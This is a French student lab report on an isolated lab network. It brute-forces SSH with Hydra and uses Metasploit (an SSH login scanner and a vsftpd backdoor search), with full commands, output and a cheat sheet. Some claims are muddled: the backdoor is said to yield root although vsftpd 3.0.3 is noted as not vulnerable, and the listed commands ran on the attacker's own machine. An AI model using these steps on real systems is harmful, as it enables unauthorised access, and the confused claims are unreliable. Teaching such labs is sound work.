Cible : Serveur Ubuntu (192.168.56.5)

Attaquant : kali linux (192.168.56.4)

1. Introduction

L'objectif de ce TP est de simuler une intrusion réelle sur un serveur Linux afin de comprendre les risques liés aux vulnérabilités logicielles et aux mauvaises pratiques de configuration (mots de passe faibles). L'attaque se décompose en deux phases : le brute force de services et l'exploitation de backdoor.

2. Attaque brute force SSH

Nous utilisons l'outil **Hydra** pour tester la robustesse des identifiants du service SSH sur la cible.

```
hydra -l student -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.5 -t 4
```

Résultats obtenus :

L'outil a réussi à identifier le mot de passe pour l'utilisateur soudent.

```
┌──(awouna㉿awouna)-[~]
└─$ hydra -l student -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.5 -t 4
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is no
n-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-27 07:52:50
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.rest
ore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://192.168.56.5:22/
[STATUS] 64.00 tries/min, 64 tries in 00:01h, 14344335 to do in 3735:31h, 4 active
[STATUS] 60.67 tries/min, 182 tries in 00:03h, 14344217 to do in 3940:44h, 4 active
[STATUS] 64.57 tries/min, 452 tries in 00:07h, 14343947 to do in 3702:21h, 4 active
[STATUS] 65.60 tries/min, 984 tries in 00:15h, 14343415 to do in 3644:10h, 4 active
[22][ssh] host: 192.168.56.5   login: student   password: password123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-27 08:14:06
```

Les resultats de l’image ci-dessus nous revelle le mot mot et le login du serveur ssh sur le port 22.

Connexion réussie via SSH :

```
ssh student@192.168.56.5
```

```
┌──(awouna㉿awouna)-[~]
└─$ ssh student@192.168.56.5
The authenticity of host '192.168.56.5 (192.168.56.5)' can't be established.
ED25519 key fingerprint is: SHA256:/r2rAB2BBg71oO2gSfLDK/TMrvAGJiHXA9OOnQJeSJ4
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? 0
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.56.5' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
student@192.168.56.5's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-144-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of lun. 27 avril 2026 08:04:42 UTC

  System load:  0.0               Processes:               113
  Usage of /:   43.9% of 9.75GB   Users logged in:         1
  Memory usage: 48%               IPv4 address for enp0s3: 192.168.56.5
  Swap usage:   0%


 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.
```

On a désormais accès a la machine cible on peut voir les processus en cours d’exécution (113)

Le nombre d’utilisateur, la mémoire restant et bien d’autre information.

Exécution de :

Whoami :, Pwd, ls :

```
$ whoami
student
$ pwd
/home/student
$ ls
$
```

3. Exploitation Metasploit (Backdoor vsftpd)

```
https://metasploit.com

       =[ metasploit v6.4.126-dev                         ]
+ -- --=[ 2,638 exploits - 1,331 auxiliary - 2,146 payloads     ]
+ -- --=[ 431 post - 49 encoders - 14 nops - 12 evasion         ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > 
```

Interface de metaploit.

Recherche et exploitation d'une vulnérabilité sur le service FTP obsolète.

-seach vsftpd :

```
msf > search vsftpd

Matching Modules
================

   #  Name                                   Disclosure Date  Rank       Check  Description
   -  ----                                   ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232           2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor   2011-07-03       excellent  Yes    VSFTPD 2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

- **Module :** exploit/unix/ftp/vsftpd_234_backdoor

Vérification de l'identité : la commande whoami retourne root.

4. Analyse de la compromission

Le service ftp présent dans la machine cible Ubuntu ne présente pas de backbone car sa version est plus avancer (version 3.0.3)

Une fois l'accès obtenu, un attaquant peut :

- Explorer le système (ls, pwd).

Acces au repertoire

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > ls
[*] exec: ls

awouna.pcapng  Bureau  Documents  Images  Modèles  Musique  Public  Téléchargements  Vidéos
msf exploit(unix/ftp/vsftpd_234_backdoor) >
```

- Identifier les utilisateurs et versions logicielles (cat /etc/passwd, uname -a).

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > uname -a
[*] exec: uname -a

Linux awouna 6.19.11+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.19.11-1kali1 (2026-04-09) x86_64 GNU/Linux
msf exploit(unix/ftp/vsftpd_234_backdoor) >
```

L’image suivante nous présente d’ailleurs des noms d’utilisateur.

```
rtkit:x:975:975:RealtimeKit:/proc:/usr/sbin/nologin
colord:x:974:974:colord colour management daemon:/var/lib/colord:/usr/sbin/nologin
pcscd:x:973:973:PC/SC Smart Card Daemon:/:/usr/sbin/nologin
awouna:x:1000:1000:awouna malick,,,:/home/awouna:/usr/bin/zsh
meleledoriane:x:1001:1001:meleledoriane,,,:/home/meleledoriane:/bin/bash
dorianemelele:x:1002:1002:,,,:/home/dorianemelele:/bin/bash
msf exploit(unix/ftp/vsftpd_234_backdoor) >
```

Nous allons nous interresser a ssh avec l’outil metaploit nous utiliser le login et le mot de passe obtenue avec hydra

L’image suivante nous presente la session ouverte.

```
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.56.5
RHOSTS => 192.168.56.5
msf auxiliary(scanner/ssh/ssh_login) > set USERNAME student
USERNAME => student
msf auxiliary(scanner/ssh/ssh_login) > set PASSWORD password123
PASSWORD => password123
msf auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCES true
[!] Unknown datastore option: STOP_ON_SUCCES. Did you mean STOP_ON_SUCCESS?
STOP_ON_SUCCES => true
msf auxiliary(scanner/ssh/ssh_login) > run
[*] 192.168.56.5:22       - Starting bruteforce
[*] 192.168.56.5:22 SSH - Testing User/Pass combinations
[+] 192.168.56.5:22       - Success: 'student:password123' 'uid=1001(student) gid=1001(student) g
u SMP Fri Feb 3 14:49:04 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 1 opened (192.168.56.4:40021 -> 192.168.56.5:22) at 2026-04-27 11:58:08 +0200
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

-élévation de privilège :

-commande utiliser et rôle :

Commandes Metasploit

msfconsole = Lancer la console Metasploit

search = Chercher un module par mot-clé

use = Sélectionner un module (ex: use auxiliary/scanner/ssh/ssh_login)

show options = Afficher les paramètres obligatoires et optionnels du module

set = Définir un paramètre (ex: set RHOSTS 192.168.56.5)

unset = Effacer un paramètre

run = Exécuter le module

exploit = Exécuter le module (identique à run)

sessions = Afficher la liste des sessions ouvertes

sessions -i 1 = Interagir avec la session numéro 1

background = Mettre la session en arrière-plan sans la fermer

Ctrl+Z = Mettre la session en arrière-plan

back = Revenir au menu précédent

exit = Quitter Metasploit

info = Afficher les détails d'un module

Paramètres courants

RHOSTS = Adresse IP de la machine cible (Remote Hosts)

LHOST = Votre adresse IP locale pour que la cible se connecte à vous (Local Host)

LPORT = Port d'écoute sur votre machine (Local Port)

RPORT = Port de la cible à attaquer (Remote Port), 22 pour SSH, 21 pour FTP

USERNAME = Le login à tester

PASSWORD = Un seul mot de passe

PASS_FILE = Un fichier contenant une liste de mots de passe

USER_FILE = Un fichier contenant une liste de logins

STOP_ON_SUCCESS = Arrêter le scan après avoir trouvé un succès (true/false)

THREADS = Nombre de connexions simultanées

Types de modules

auxiliary = Modules de scan, bruteforce et reconnaissance

exploit = Modules pour exploiter une vulnérabilité spécifique

payload = Code malveillant exécuté sur la cible après exploitation

post = Modules de post-exploitation (élévation de privilèges, persistance)

encoder = Modules pour encoder le payload et contourner les antivirus

Modules qu'on a utilisés

auxiliary/scanner/ssh/ssh_login = Module pour faire du bruteforce sur le service SSH

exploit/unix/ftp/vsftpd_234_backdoor = Module pour exploiter la backdoor de vsftpd 2.3.4

5. Recommandations de sécurité

- **SSH :** Désactiver l'authentification par mot de passe et imposer l'usage de clés SSH.
- **Mises à jour :** Appliquer les patchs de sécurité sur les services comme vsftpd.
- **Hygiène :** Supprimer ou désactiver tout service non essentiel à la production.

6. Conclusion

Ce TP démontre qu'une vulnérabilité n'est pas qu'un concept théorique. Une mauvaise pratique, comme un mot de passe faible ou un service non mis à jour, peut être exploitée en quelques secondes pour prendre le contrôle total d'un serveur d'entreprise.